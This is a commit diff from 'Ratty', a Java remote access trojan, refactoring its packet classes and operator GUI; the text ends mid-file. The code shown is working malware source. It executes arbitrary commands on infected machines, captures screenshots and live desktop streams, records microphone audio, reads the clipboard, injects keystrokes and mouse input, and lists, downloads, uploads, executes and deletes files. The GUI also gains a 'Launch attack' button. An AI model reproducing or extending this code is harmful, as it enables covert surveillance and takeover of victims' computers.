Browse Source

Major changes

Refactoring to the max
master
Sogomn 9 years ago
parent
commit
a5c2f93e01
  1. 4
      Ratty/src/de/sogomn/rat/Ratty.java
  2. 2
      Ratty/src/de/sogomn/rat/Trojan.java
  3. 34
      Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java
  4. 18
      Ratty/src/de/sogomn/rat/packet/AudioPacket.java
  5. 22
      Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java
  6. 24
      Ratty/src/de/sogomn/rat/packet/CommandPacket.java
  7. 14
      Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java
  8. 10
      Ratty/src/de/sogomn/rat/packet/DeleteFilePacket.java
  9. 48
      Ratty/src/de/sogomn/rat/packet/DesktopPacket.java
  10. 30
      Ratty/src/de/sogomn/rat/packet/DownloadFilePacket.java
  11. 10
      Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java
  12. 28
      Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java
  13. 10
      Ratty/src/de/sogomn/rat/packet/FreePacket.java
  14. 6
      Ratty/src/de/sogomn/rat/packet/IPacket.java
  15. 26
      Ratty/src/de/sogomn/rat/packet/InformationPacket.java
  16. 14
      Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java
  17. 22
      Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java
  18. 10
      Ratty/src/de/sogomn/rat/packet/PopupPacket.java
  19. 22
      Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
  20. 22
      Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java
  21. 22
      Ratty/src/de/sogomn/rat/packet/VoicePacket.java
  22. 10
      Ratty/src/de/sogomn/rat/packet/WebsitePacket.java
  23. 80
      Ratty/src/de/sogomn/rat/server/gui/DisplayController.java
  24. 9
      Ratty/src/de/sogomn/rat/server/gui/FileTree.java
  25. 46
      Ratty/src/de/sogomn/rat/server/gui/FileTreeController.java
  26. 50
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  27. 106
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
  28. 8
      Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

4
Ratty/src/de/sogomn/rat/Ratty.java

@ -7,8 +7,6 @@ import java.net.URISyntaxException;
import javax.swing.JOptionPane;
import com.alee.laf.WebLookAndFeel;
import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.gui.RattyGui;
@ -112,8 +110,6 @@ public final class Ratty {
}
public static void main(final String[] args) {
WebLookAndFeel.install();
readConnectionData();
if (DEBUG) {

2
Ratty/src/de/sogomn/rat/Trojan.java

@ -18,7 +18,6 @@ public final class Trojan implements IConnectionObserver {
lastData = data;
source.start();
});
voiceRecorder.start();
}
@Override
@ -26,6 +25,7 @@ public final class Trojan implements IConnectionObserver {
if (packet instanceof VoicePacket) {
final VoicePacket voice = (VoicePacket)packet;
voiceRecorder.start();
voice.setData(lastData);
}

34
Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java

@ -17,46 +17,46 @@ public abstract class AbstractPingPongPacket implements IPacket {
this(REQUEST);
}
protected abstract void sendRequest(final ActiveConnection client);
protected abstract void sendRequest(final ActiveConnection connection);
protected abstract void sendData(final ActiveConnection client);
protected abstract void sendData(final ActiveConnection connection);
protected abstract void receiveRequest(final ActiveConnection client);
protected abstract void receiveRequest(final ActiveConnection connection);
protected abstract void receiveData(final ActiveConnection client);
protected abstract void receiveData(final ActiveConnection connection);
protected abstract void executeRequest(final ActiveConnection client);
protected abstract void executeRequest(final ActiveConnection connection);
protected abstract void executeData(final ActiveConnection client);
protected abstract void executeData(final ActiveConnection connection);
@Override
public final void send(final ActiveConnection client) {
client.writeByte(type);
public final void send(final ActiveConnection connection) {
connection.writeByte(type);
if (type == REQUEST) {
sendRequest(client);
sendRequest(connection);
} else if (type == DATA) {
sendData(client);
sendData(connection);
}
}
@Override
public final void receive(final ActiveConnection client) {
type = client.readByte();
public final void receive(final ActiveConnection connection) {
type = connection.readByte();
if (type == REQUEST) {
receiveRequest(client);
receiveRequest(connection);
} else if (type == DATA) {
receiveData(client);
receiveData(connection);
}
}
@Override
public final void execute(final ActiveConnection client) {
public final void execute(final ActiveConnection connection) {
if (type == REQUEST) {
executeRequest(client);
executeRequest(connection);
} else if (type == DATA) {
executeData(client);
executeData(connection);
}
}

18
Ratty/src/de/sogomn/rat/packet/AudioPacket.java

@ -23,25 +23,29 @@ public final class AudioPacket implements IPacket {
}
@Override
public void send(final ActiveConnection client) {
client.writeInt(data.length);
client.write(data);
public void send(final ActiveConnection connection) {
connection.writeInt(data.length);
connection.write(data);
}
@Override
public void receive(final ActiveConnection client) {
final int length = client.readInt();
public void receive(final ActiveConnection connection) {
final int length = connection.readInt();
data = new byte[length];
client.read(data);
connection.read(data);
}
@Override
public void execute(final ActiveConnection client) {
public void execute(final ActiveConnection connection) {
final Sound sound = Sound.loadSound(data);
sound.play();
}
public byte[] getData() {
return data;
}
}

22
Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java

@ -22,27 +22,27 @@ public final class ClipboardPacket extends AbstractPingPongPacket {
}
@Override
protected void sendRequest(final ActiveConnection client) {
protected void sendRequest(final ActiveConnection connection) {
//...
}
@Override
protected void sendData(final ActiveConnection client) {
client.writeUTF(clipboardContent);
protected void sendData(final ActiveConnection connection) {
connection.writeUTF(clipboardContent);
}
@Override
protected void receiveRequest(final ActiveConnection client) {
protected void receiveRequest(final ActiveConnection connection) {
//...
}
@Override
protected void receiveData(final ActiveConnection client) {
clipboardContent = client.readUTF();
protected void receiveData(final ActiveConnection connection) {
clipboardContent = connection.readUTF();
}
@Override
protected void executeRequest(final ActiveConnection client) {
protected void executeRequest(final ActiveConnection connection) {
type = DATA;
try {
@ -56,11 +56,11 @@ public final class ClipboardPacket extends AbstractPingPongPacket {
clipboardContent = "";
}
client.addPacket(this);
connection.addPacket(this);
}
@Override
protected void executeData(final ActiveConnection client) {
protected void executeData(final ActiveConnection connection) {
final JOptionPane optionPane = new JOptionPane(clipboardContent);
final JDialog dialog = optionPane.createDialog(null);
@ -68,4 +68,8 @@ public final class ClipboardPacket extends AbstractPingPongPacket {
dialog.setVisible(true);
}
public String getClipbordContent() {
return clipboardContent;
}
}

24
Ratty/src/de/sogomn/rat/packet/CommandPacket.java

@ -1,7 +1,5 @@
package de.sogomn.rat.packet;
import javax.swing.JOptionPane;
import de.sogomn.rat.ActiveConnection;
public final class CommandPacket implements IPacket {
@ -17,15 +15,15 @@ public final class CommandPacket implements IPacket {
}
@Override
public void send(final ActiveConnection client) {
client.writeUTF(command);
public void send(final ActiveConnection connection) {
connection.writeUTF(command);
}
public void receive(final ActiveConnection client) {
command = client.readUTF();
public void receive(final ActiveConnection connection) {
command = connection.readUTF();
}
public void execute(final ActiveConnection client) {
public void execute(final ActiveConnection connection) {
try {
Runtime.getRuntime().exec(command);
} catch (final Exception ex) {
@ -33,16 +31,4 @@ public final class CommandPacket implements IPacket {
}
}
public static CommandPacket create() {
final String input = JOptionPane.showInputDialog(null);
if (input != null) {
final CommandPacket packet = new CommandPacket(input);
return packet;
} else {
return null;
}
}
}

14
Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java

@ -19,19 +19,19 @@ public final class CreateFolderPacket implements IPacket {
}
@Override
public void send(final ActiveConnection client) {
client.writeUTF(path);
client.writeUTF(name);
public void send(final ActiveConnection connection) {
connection.writeUTF(path);
connection.writeUTF(name);
}
@Override
public void receive(final ActiveConnection client) {
path = client.readUTF();
name = client.readUTF();
public void receive(final ActiveConnection connection) {
path = connection.readUTF();
name = connection.readUTF();
}
@Override
public void execute(final ActiveConnection client) {
public void execute(final ActiveConnection connection) {
final File folder = new File(path);
String fullPath = null;

10
Ratty/src/de/sogomn/rat/packet/DeleteFilePacket.java

@ -17,17 +17,17 @@ public final class DeleteFilePacket implements IPacket {
}
@Override
public void send(final ActiveConnection client) {
client.writeUTF(path);
public void send(final ActiveConnection connection) {
connection.writeUTF(path);
}
@Override
public void receive(final ActiveConnection client) {
path = client.readUTF();
public void receive(final ActiveConnection connection) {
path = connection.readUTF();
}
@Override
public void execute(final ActiveConnection client) {
public void execute(final ActiveConnection connection) {
final File file = new File(path);
file.delete();

48
Ratty/src/de/sogomn/rat/packet/DesktopPacket.java

@ -34,43 +34,43 @@ public final class DesktopPacket extends AbstractPingPongPacket {
}
@Override
protected void sendRequest(final ActiveConnection client) {
client.writeByte(deleteLastScreenshot);
protected void sendRequest(final ActiveConnection connection) {
connection.writeByte(deleteLastScreenshot);
}
@Override
protected void sendData(final ActiveConnection client) {
protected void sendData(final ActiveConnection connection) {
Stream.of(frames).forEach(frame -> {
final byte[] data = ImageUtils.toByteArray(frame.image, 0);
client.writeByte(INCOMING);
client.writeShort((short)frame.x);
client.writeShort((short)frame.y);
client.writeInt(data.length);
client.write(data);
connection.writeByte(INCOMING);
connection.writeShort((short)frame.x);
connection.writeShort((short)frame.y);
connection.writeInt(data.length);
connection.write(data);
});
client.writeByte(END);
client.writeInt(screenWidth);
client.writeInt(screenHeight);
connection.writeByte(END);
connection.writeInt(screenWidth);
connection.writeInt(screenHeight);
}
@Override
protected void receiveRequest(final ActiveConnection client) {
deleteLastScreenshot = client.readByte();
protected void receiveRequest(final ActiveConnection connection) {
deleteLastScreenshot = connection.readByte();
}
@Override
protected void receiveData(final ActiveConnection client) {
protected void receiveData(final ActiveConnection connection) {
final ArrayList<IFrame> framesList = new ArrayList<IFrame>();
while (client.readByte() == INCOMING) {
final int x = client.readShort();
final int y = client.readShort();
final int length = client.readInt();
while (connection.readByte() == INCOMING) {
final int x = connection.readShort();
final int y = connection.readShort();
final int length = connection.readInt();
final byte[] data = new byte[length];
client.read(data);
connection.read(data);
final BufferedImage image = ImageUtils.toImage(data);
final IFrame frame = new IFrame(x, y, image);
@ -79,12 +79,12 @@ public final class DesktopPacket extends AbstractPingPongPacket {
}
frames = framesList.stream().toArray(IFrame[]::new);
screenWidth = client.readInt();
screenHeight = client.readInt();
screenWidth = connection.readInt();
screenHeight = connection.readInt();
}
@Override
protected void executeRequest(final ActiveConnection client) {
protected void executeRequest(final ActiveConnection connection) {
final BufferedImage screenshot = FrameEncoder.takeScreenshotWithCursor();
if (deleteLastScreenshot == DELETE || lastScreenshot == null) {
@ -103,11 +103,11 @@ public final class DesktopPacket extends AbstractPingPongPacket {
screenHeight = screenshot.getHeight();
lastScreenshot = screenshot;
client.addPacket(this);
connection.addPacket(this);
}
@Override
protected void executeData(final ActiveConnection client) {
protected void executeData(final ActiveConnection connection) {
//...
}

30
Ratty/src/de/sogomn/rat/packet/DownloadFilePacket.java

@ -25,36 +25,36 @@ public final class DownloadFilePacket extends AbstractPingPongPacket {
}
@Override
protected void sendRequest(final ActiveConnection client) {
client.writeUTF(path);
protected void sendRequest(final ActiveConnection connection) {
connection.writeUTF(path);
}
@Override
protected void sendData(final ActiveConnection client) {
client.writeInt(data.length);
client.write(data);
client.writeUTF(fileName);
protected void sendData(final ActiveConnection connection) {
connection.writeInt(data.length);
connection.write(data);
connection.writeUTF(fileName);
}
@Override
protected void receiveRequest(final ActiveConnection client) {
path = client.readUTF();
protected void receiveRequest(final ActiveConnection connection) {
path = connection.readUTF();
}
@Override
protected void receiveData(final ActiveConnection client) {
final int length = client.readInt();
protected void receiveData(final ActiveConnection connection) {
final int length = connection.readInt();
data = new byte[length];
client.read(data);
connection.read(data);
fileName = client.readUTF();
fileName = connection.readUTF();
}
@Override
protected void executeRequest(final ActiveConnection client) {
protected void executeRequest(final ActiveConnection connection) {
final File file = new File(path);
if (file.exists() && !file.isDirectory()) {
@ -62,12 +62,12 @@ public final class DownloadFilePacket extends AbstractPingPongPacket {
data = FileUtils.readExternalData(path);
type = DATA;
client.addPacket(this);
connection.addPacket(this);
}
}
@Override
protected void executeData(final ActiveConnection client) {
protected void executeData(final ActiveConnection connection) {
FileUtils.writeData(fileName, data);
}

10
Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java

@ -20,17 +20,17 @@ public final class ExecuteFilePacket implements IPacket {
}
@Override
public void send(final ActiveConnection client) {
client.writeUTF(path);
public void send(final ActiveConnection connection) {
connection.writeUTF(path);
}
@Override
public void receive(final ActiveConnection client) {
path = client.readUTF();
public void receive(final ActiveConnection connection) {
path = connection.readUTF();
}
@Override
public void execute(final ActiveConnection client) {
public void execute(final ActiveConnection connection) {
final boolean desktopSupported = Desktop.isDesktopSupported();
final File file = new File(path);

28
Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java

@ -29,31 +29,31 @@ public class FileSystemPacket extends AbstractPingPongPacket {
}
@Override
protected void sendRequest(final ActiveConnection client) {
client.writeUTF(rootFile);
protected void sendRequest(final ActiveConnection connection) {
connection.writeUTF(rootFile);
}
@Override
protected void sendData(final ActiveConnection client) {
protected void sendData(final ActiveConnection connection) {
for (final String path : paths) {
client.writeByte(INCOMING);
client.writeUTF(path);
connection.writeByte(INCOMING);
connection.writeUTF(path);
}
client.writeByte(END);
connection.writeByte(END);
}
@Override
protected void receiveRequest(final ActiveConnection client) {
rootFile = client.readUTF();
protected void receiveRequest(final ActiveConnection connection) {
rootFile = connection.readUTF();
}
@Override
protected void receiveData(final ActiveConnection client) {
protected void receiveData(final ActiveConnection connection) {
final ArrayList<String> pathList = new ArrayList<String>();
while (client.readByte() == INCOMING) {
final String path = client.readUTF();
while (connection.readByte() == INCOMING) {
final String path = connection.readUTF();
pathList.add(path);
}
@ -63,7 +63,7 @@ public class FileSystemPacket extends AbstractPingPongPacket {
}
@Override
protected void executeRequest(final ActiveConnection client) {
protected void executeRequest(final ActiveConnection connection) {
final File[] children;
if (rootFile.isEmpty() || rootFile.equals(File.separator)) {
@ -82,11 +82,11 @@ public class FileSystemPacket extends AbstractPingPongPacket {
}
type = DATA;
client.addPacket(this);
connection.addPacket(this);
}
@Override
protected void executeData(final ActiveConnection client) {
protected void executeData(final ActiveConnection connection) {
//...
}

10
Ratty/src/de/sogomn/rat/packet/FreePacket.java

@ -9,19 +9,19 @@ public final class FreePacket implements IPacket {
}
@Override
public void send(final ActiveConnection client) {
public void send(final ActiveConnection connection) {
//...
}
@Override
public void receive(final ActiveConnection client) {
public void receive(final ActiveConnection connection) {
//...
}
@Override
public void execute(final ActiveConnection client) {
client.setObserver(null);
client.close();
public void execute(final ActiveConnection connection) {
connection.setObserver(null);
connection.close();
System.exit(0);
}

6
Ratty/src/de/sogomn/rat/packet/IPacket.java

@ -6,10 +6,10 @@ import de.sogomn.rat.ActiveConnection;
public interface IPacket {
void send(final ActiveConnection client);
void send(final ActiveConnection connection);
void receive(final ActiveConnection client);
void receive(final ActiveConnection connection);
void execute(final ActiveConnection client);
void execute(final ActiveConnection connection);
}

26
Ratty/src/de/sogomn/rat/packet/InformationPacket.java

@ -22,41 +22,41 @@ public final class InformationPacket extends AbstractPingPongPacket {
}
@Override
protected void sendRequest(final ActiveConnection client) {
protected void sendRequest(final ActiveConnection connection) {
//...
}
@Override
protected void sendData(final ActiveConnection client) {
client.writeUTF(name);
client.writeUTF(os);
client.writeUTF(version);
protected void sendData(final ActiveConnection connection) {
connection.writeUTF(name);
connection.writeUTF(os);
connection.writeUTF(version);
}
@Override
protected void receiveRequest(final ActiveConnection client) {
protected void receiveRequest(final ActiveConnection connection) {
//...
}
@Override
protected void receiveData(final ActiveConnection client) {
name = client.readUTF();
os = client.readUTF();
version = client.readUTF();
protected void receiveData(final ActiveConnection connection) {
name = connection.readUTF();
os = connection.readUTF();
version = connection.readUTF();
}
@Override
protected void executeRequest(final ActiveConnection client) {
protected void executeRequest(final ActiveConnection connection) {
type = DATA;
name = System.getProperty("user.name");
os = System.getProperty("os.name");
version = Ratty.VERSION;
client.addPacket(this);
connection.addPacket(this);
}
@Override
protected void executeData(final ActiveConnection client) {
protected void executeData(final ActiveConnection connection) {
//...
}

14
Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java

@ -25,19 +25,19 @@ public final class KeyEventPacket implements IPacket {
}
@Override
public void send(final ActiveConnection client) {
client.writeInt(key);
client.writeByte(strokeType);
public void send(final ActiveConnection connection) {
connection.writeInt(key);
connection.writeByte(strokeType);
}
@Override
public void receive(final ActiveConnection client) {
key = client.readInt();
strokeType = client.readByte();
public void receive(final ActiveConnection connection) {
key = connection.readInt();
strokeType = connection.readByte();
}
@Override
public void execute(final ActiveConnection client) {
public void execute(final ActiveConnection connection) {
try {
final Robot rob = new Robot();

22
Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java

@ -28,23 +28,23 @@ public final class MouseEventPacket implements IPacket {
}
@Override
public void send(final ActiveConnection client) {
client.writeInt(x);
client.writeInt(y);
client.writeInt(button);
client.writeByte(strokeType);
public void send(final ActiveConnection connection) {
connection.writeInt(x);
connection.writeInt(y);
connection.writeInt(button);
connection.writeByte(strokeType);
}
@Override
public void receive(final ActiveConnection client) {
x = client.readInt();
y = client.readInt();
button = client.readInt();
strokeType = client.readByte();
public void receive(final ActiveConnection connection) {
x = connection.readInt();
y = connection.readInt();
button = connection.readInt();
strokeType = connection.readByte();
}
@Override
public void execute(final ActiveConnection client) {
public void execute(final ActiveConnection connection) {
try {
final Robot rob = new Robot();

10
Ratty/src/de/sogomn/rat/packet/PopupPacket.java

@ -21,17 +21,17 @@ public final class PopupPacket implements IPacket {
}
@Override
public void send(final ActiveConnection client) {
client.writeUTF(message);
public void send(final ActiveConnection connection) {
connection.writeUTF(message);
}
@Override
public void receive(final ActiveConnection client) {
message = client.readUTF();
public void receive(final ActiveConnection connection) {
message = connection.readUTF();
}
@Override
public void execute(final ActiveConnection client) {
public void execute(final ActiveConnection connection) {
final JOptionPane optionPane = new JOptionPane(message);
final JDialog dialog = optionPane.createDialog(null);

22
Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java

@ -22,29 +22,29 @@ public final class ScreenshotPacket extends AbstractPingPongPacket {
}
@Override
protected void sendRequest(final ActiveConnection client) {
protected void sendRequest(final ActiveConnection connection) {
//...
}
@Override
protected void sendData(final ActiveConnection client) {
protected void sendData(final ActiveConnection connection) {
final byte[] data = ImageUtils.toByteArray(image, "PNG");
client.writeInt(data.length);
client.write(data);
connection.writeInt(data.length);
connection.write(data);
}
@Override
protected void receiveRequest(final ActiveConnection client) {
protected void receiveRequest(final ActiveConnection connection) {
//...
}
@Override
protected void receiveData(final ActiveConnection client) {
final int length = client.readInt();
protected void receiveData(final ActiveConnection connection) {
final int length = connection.readInt();
final byte[] data = new byte[length];
client.read(data);
connection.read(data);
image = ImageUtils.toImage(data);
@ -54,7 +54,7 @@ public final class ScreenshotPacket extends AbstractPingPongPacket {
}
@Override
protected void executeRequest(final ActiveConnection client) {
protected void executeRequest(final ActiveConnection connection) {
type = DATA;
image = FrameEncoder.takeScreenshot();
@ -62,11 +62,11 @@ public final class ScreenshotPacket extends AbstractPingPongPacket {
image = NO_IMAGE;
}
client.addPacket(this);
connection.addPacket(this);
}
@Override
protected void executeData(final ActiveConnection client) {
protected void executeData(final ActiveConnection connection) {
final int width = image.getWidth();
final int height = image.getHeight();

22
Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java

@ -28,27 +28,27 @@ public final class UploadFilePacket implements IPacket {
}
@Override
public void send(final ActiveConnection client) {
client.writeInt(data.length);
client.write(data);
client.writeUTF(folderPath);
client.writeUTF(fileName);
public void send(final ActiveConnection connection) {
connection.writeInt(data.length);
connection.write(data);
connection.writeUTF(folderPath);
connection.writeUTF(fileName);
}
@Override
public void receive(final ActiveConnection client) {
final int length = client.readInt();
public void receive(final ActiveConnection connection) {
final int length = connection.readInt();
data = new byte[length];
client.read(data);
connection.read(data);
folderPath = client.readUTF();
fileName = client.readUTF();
folderPath = connection.readUTF();
fileName = connection.readUTF();
}
@Override
public void execute(final ActiveConnection client) {
public void execute(final ActiveConnection connection) {
final File folder = new File(folderPath);
String path = null;

22
Ratty/src/de/sogomn/rat/packet/VoicePacket.java

@ -13,39 +13,39 @@ public final class VoicePacket extends AbstractPingPongPacket {
}
@Override
protected void sendRequest(final ActiveConnection client) {
protected void sendRequest(final ActiveConnection connection) {
//...
}
@Override
protected void sendData(final ActiveConnection client) {
client.writeInt(data.length);
client.write(data);
protected void sendData(final ActiveConnection connection) {
connection.writeInt(data.length);
connection.write(data);
}
@Override
protected void receiveRequest(final ActiveConnection client) {
protected void receiveRequest(final ActiveConnection connection) {
//...
}
@Override
protected void receiveData(final ActiveConnection client) {
final int length = client.readInt();
protected void receiveData(final ActiveConnection connection) {
final int length = connection.readInt();
data = new byte[length];
client.read(data);
connection.read(data);
}
@Override
protected void executeRequest(final ActiveConnection client) {
protected void executeRequest(final ActiveConnection connection) {
type = DATA;
client.addPacket(this);
connection.addPacket(this);
}
@Override
protected void executeData(final ActiveConnection client) {
protected void executeData(final ActiveConnection connection) {
final Sound sound = Sound.loadSound(data);
sound.play();

10
Ratty/src/de/sogomn/rat/packet/WebsitePacket.java

@ -29,17 +29,17 @@ public final class WebsitePacket implements IPacket {
}
@Override
public void send(final ActiveConnection client) {
client.writeUTF(address);
public void send(final ActiveConnection connection) {
connection.writeUTF(address);
}
@Override
public void receive(final ActiveConnection client) {
address = client.readUTF();
public void receive(final ActiveConnection connection) {
address = connection.readUTF();
}
@Override
public void execute(final ActiveConnection client) {
public void execute(final ActiveConnection connection) {
final boolean desktopSupported = Desktop.isDesktopSupported();
if (desktopSupported) {

80
Ratty/src/de/sogomn/rat/server/gui/DisplayController.java

@ -1,80 +0,0 @@
package de.sogomn.rat.server.gui;
import java.awt.image.BufferedImage;
import de.sogomn.rat.packet.DesktopPacket;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.KeyEventPacket;
import de.sogomn.rat.packet.MouseEventPacket;
import de.sogomn.rat.packet.ScreenshotPacket;
import de.sogomn.rat.util.FrameEncoder.IFrame;
final class DisplayController implements ISubController {
private ServerClient client;
private DisplayPanel displayPanel;
public DisplayController(final ServerClient client) {
this.client = client;
displayPanel = new DisplayPanel();
final String title = client.connection.getAddress();
displayPanel.addListener(this);
displayPanel.setTitle(title);
}
private void handleDesktopPacket(final DesktopPacket packet) {
final boolean streamingDesktop = client.isStreamingDesktop();
if (!streamingDesktop) {
return;
}
final IFrame[] frames = packet.getFrames();
final int screenWidth = packet.getScreenWidth();
final int screenHeight = packet.getScreenHeight();
final DesktopPacket desktop = new DesktopPacket();
client.connection.addPacket(desktop);
displayPanel.showFrames(frames, screenWidth, screenHeight);
}
@Override
public void userInput(final String command) {
if (command == RattyGui.DESKTOP) {
final DesktopPacket packet = new DesktopPacket(true);
client.connection.addPacket(packet);
} else if (command == RattyGui.SCREENSHOT) {
final ScreenshotPacket packet = new ScreenshotPacket();
client.connection.addPacket(packet);
} else if (command == DisplayPanel.MOUSE_EVENT) {
final MouseEventPacket packet = displayPanel.getLastMouseEventPacket();
client.connection.addPacket(packet);
} else if (command == DisplayPanel.KEY_EVENT) {
final KeyEventPacket packet = displayPanel.getLastKeyEventPacket();
client.connection.addPacket(packet);
}
}
@Override
public void handlePacket(final IPacket packet) {
if (packet instanceof ScreenshotPacket) {
final ScreenshotPacket screenshot = (ScreenshotPacket)packet;
final BufferedImage image = screenshot.getImage();
displayPanel.showImage(image);
} else if (packet instanceof DesktopPacket) {
final DesktopPacket desktop = (DesktopPacket)packet;
handleDesktopPacket(desktop);
}
}
}

9
Ratty/src/de/sogomn/rat/server/gui/FileTree.java

@ -34,7 +34,6 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
private static final String ROOT_NAME = "Drives";
private static final Dimension DEFAULT_SIZE = new Dimension(500, 500);
private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons_tree.png", 32, 32).getSprites();
public static final String REQUEST = "Request content";
@ -113,10 +112,14 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
notifyListeners(controller -> controller.userInput(command));
}
public void addNodes(final String... names) {
public void reload() {
treeModel.reload();
}
public void addNodeStructure(final String... path) {
FileTreeNode current = root;
for (final String name : names) {
for (final String name : path) {
final FileTreeNode next = current.getChild(name);
if (next == null) {

46
Ratty/src/de/sogomn/rat/server/gui/FileTreeController.java

@ -1,46 +0,0 @@
package de.sogomn.rat.server.gui;
import de.sogomn.rat.packet.IPacket;
final class FileTreeController implements ISubController {
private ServerClient client;
private FileTree fileTree;
public FileTreeController(final ServerClient client) {
this.client = client;
fileTree = new FileTree();
final String title = client.connection.getAddress();
fileTree.addListener(this);
fileTree.setTitle(title);
}
@Override
public void userInput(final String command) {
if (command == FileTree.REQUEST) {
//...
} else if (command == FileTree.DOWNLOAD) {
//...
} else if (command == FileTree.UPLOAD) {
//...
} else if (command == FileTree.EXECUTE) {
//...
} else if (command == FileTree.NEW_FOLDER) {
//...
} else if (command == FileTree.DELETE) {
//...
} else if (command == RattyGui.FILES) {
//...
}
}
@Override
public void handlePacket(final IPacket packet) {
//...
}
}

50
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -8,17 +8,23 @@ import java.awt.event.ActionEvent;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.image.BufferedImage;
import java.io.File;
import java.util.Arrays;
import java.util.List;
import javax.swing.ImageIcon;
import javax.swing.JButton;
import javax.swing.JDialog;
import javax.swing.JFileChooser;
import javax.swing.JFrame;
import javax.swing.JMenuBar;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
import javax.swing.JPopupMenu;
import javax.swing.JScrollPane;
import javax.swing.JTable;
import javax.swing.filechooser.FileFilter;
import javax.swing.filechooser.FileNameExtensionFilter;
import de.sogomn.engine.fx.SpriteSheet;
import de.sogomn.engine.util.AbstractListenerContainer;
@ -34,7 +40,9 @@ public final class RattyGui extends AbstractListenerContainer<IGuiController> {
private JPopupMenu menu;
private JMenuBar menuBar;
private JButton build;
private JButton build, attack;
private JFileChooser fileChooser;
private ServerClient lastServerClientClicked;
@ -57,6 +65,7 @@ public final class RattyGui extends AbstractListenerContainer<IGuiController> {
public static final String AUDIO = "Play audio";
public static final String FREE = "Free client";
public static final String BUILD = "Client builder";
public static final String ATTACK = "Launch attack";
public static final String[] COMMANDS = {
POPUP,
@ -79,6 +88,8 @@ public final class RattyGui extends AbstractListenerContainer<IGuiController> {
menu = new JPopupMenu();
menuBar = new JMenuBar();
build = new JButton(BUILD);
attack = new JButton(ATTACK);
fileChooser = new JFileChooser();
for (int i = 0; i < COMMANDS.length && i < MENU_ICONS.length; i++) {
final String command = COMMANDS[i];
@ -98,9 +109,12 @@ public final class RattyGui extends AbstractListenerContainer<IGuiController> {
}
};
attack.setActionCommand(ATTACK);
attack.addActionListener(this::actionPerformed);
build.setActionCommand(BUILD);
build.addActionListener(this::actionPerformed);
menuBar.add(build);
menuBar.add(attack);
scrollPane.setBorder(null);
table.setComponentPopupMenu(menu);
table.addMouseListener(mouseAdapter);
@ -147,6 +161,40 @@ public final class RattyGui extends AbstractListenerContainer<IGuiController> {
tableModel.removeServerClient(client);
}
public void showMessage(final String message) {
final JOptionPane pane = new JOptionPane(message);
final JDialog dialog = pane.createDialog(frame, null);
dialog.setModal(false);
dialog.setVisible(true);
}
public File getFile(final String type) {
final FileFilter filter = new FileNameExtensionFilter("*." + type, type);
fileChooser.setFileFilter(filter);
final int input = fileChooser.showOpenDialog(frame);
if (input == JFileChooser.APPROVE_OPTION) {
final File file = fileChooser.getSelectedFile();
return file;
}
return null;
}
public File getFile() {
return getFile(null);
}
public String getInput() {
final String input = JOptionPane.showInputDialog(frame);
return input;
}
public ServerClient getLastServerClientClicked() {
return lastServerClientClicked;
}

106
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -4,9 +4,14 @@ import java.util.ArrayList;
import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.IConnectionObserver;
import de.sogomn.rat.packet.ClipboardPacket;
import de.sogomn.rat.packet.CommandPacket;
import de.sogomn.rat.packet.FreePacket;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.InformationPacket;
import de.sogomn.rat.packet.PopupPacket;
import de.sogomn.rat.packet.ScreenshotPacket;
import de.sogomn.rat.packet.WebsitePacket;
import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.IServerObserver;
@ -24,15 +29,54 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs
gui.addListener(this);
}
private void logIn(final ServerClient client, final InformationPacket packet) {
final String name = packet.getName();
final String os = packet.getOs();
final String version = packet.getVersion();
/*
* ==================================================
* HANDLING
* ==================================================
*/
client.logIn(name, os, version);
gui.addRow(client);
gui.addListener(client.displayController);
gui.addListener(client.fileTreeController);
private PopupPacket createPopupPacket() {
final String input = gui.getInput();
if (input != null) {
final PopupPacket packet = new PopupPacket(input);
return packet;
}
return null;
}
private CommandPacket createCommandPacket() {
final String input = gui.getInput();
if (input != null) {
final CommandPacket packet = new CommandPacket(input);
return packet;
}
return null;
}
private WebsitePacket createWebsitePacket() {
final String input = gui.getInput();
if (input != null) {
final WebsitePacket packet = new WebsitePacket(input);
return packet;
}
return null;
}
private boolean handlePacket(final ServerClient client, final IPacket packet) {
return false;
}
private void handleCommand(final ServerClient client, final String command) {
//...
}
private IPacket getPacket(final String command, final ServerClient client) {
@ -40,19 +84,47 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs
if (command == RattyGui.FREE) {
packet = new FreePacket();
} else if (command == RattyGui.POPUP) {
packet = createPopupPacket();
} else if (command == RattyGui.CLIPBOARD) {
packet = new ClipboardPacket();
} else if (command == RattyGui.COMMAND) {
packet = createCommandPacket();
} else if (command == RattyGui.SCREENSHOT) {
packet = new ScreenshotPacket();
} else if (command == RattyGui.WEBSITE) {
packet = createWebsitePacket();
}
return packet;
}
/*
